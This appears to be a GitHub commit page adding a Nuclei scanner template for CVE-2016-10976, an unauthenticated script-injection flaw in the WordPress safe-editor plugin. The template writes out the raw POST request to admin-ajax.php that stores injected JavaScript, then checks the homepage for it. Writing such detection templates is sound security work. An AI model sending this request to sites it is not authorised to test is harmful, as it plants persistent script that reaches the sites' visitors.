-
Notifications
You must be signed in to change notification settings - Fork 2.7k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
50 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
id: CVE-2016-10976 | ||
|
||
info: | ||
name: safe-editor <= 1.1 - Unauthenticated CSS/JS-injection | ||
author: Splint3r7 | ||
severity: medium | ||
description: When saving JS/CSS in this plugin then both private and public ajax-hooks are being used. Because of this anyone can post JS/CSS that are saved to the db and printed to the head and footer portion of the page. | ||
remediation: | | ||
Update to the latest version of safe-editor plugin or apply the patch provided by the vendor. | ||
reference: | ||
- https://nvd.nist.gov/vuln/detail/CVE-2016-10976 | ||
classification: | ||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N | ||
cvss-score: 6.1 | ||
cve-id: CVE-2016-10976 | ||
cwe-id: CWE-79 | ||
cpe: cpe:2.3:a:kodebyraaet:safe_editor:*:*:*:*:*:wordpress:*:* | ||
metadata: | ||
max-request: 1 | ||
tags: cve2016,cve,wordpress,wp-plugin,xss,wpscan | ||
flow: http(1) && http(2) | ||
|
||
http: | ||
- raw: | ||
- | | ||
POST /wp-admin/admin-ajax.php HTTP/1.1 HTTP/1.1 | ||
Host: {{Hostname}} | ||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 | ||
action=se_save&type=js&data=alert('XSS') | ||
matchers: | ||
- type: dsl | ||
dsl: | ||
- 'len(body) == 0' | ||
- 'status_code == 200' | ||
|
||
- method: GET | ||
path: | ||
- "{{BaseURL}}" | ||
matchers-condition: and | ||
matchers: | ||
- type: word | ||
part: body | ||
words: | ||
- "alert('XSS')" | ||
|
||
- type: status | ||
status: | ||
- 200 |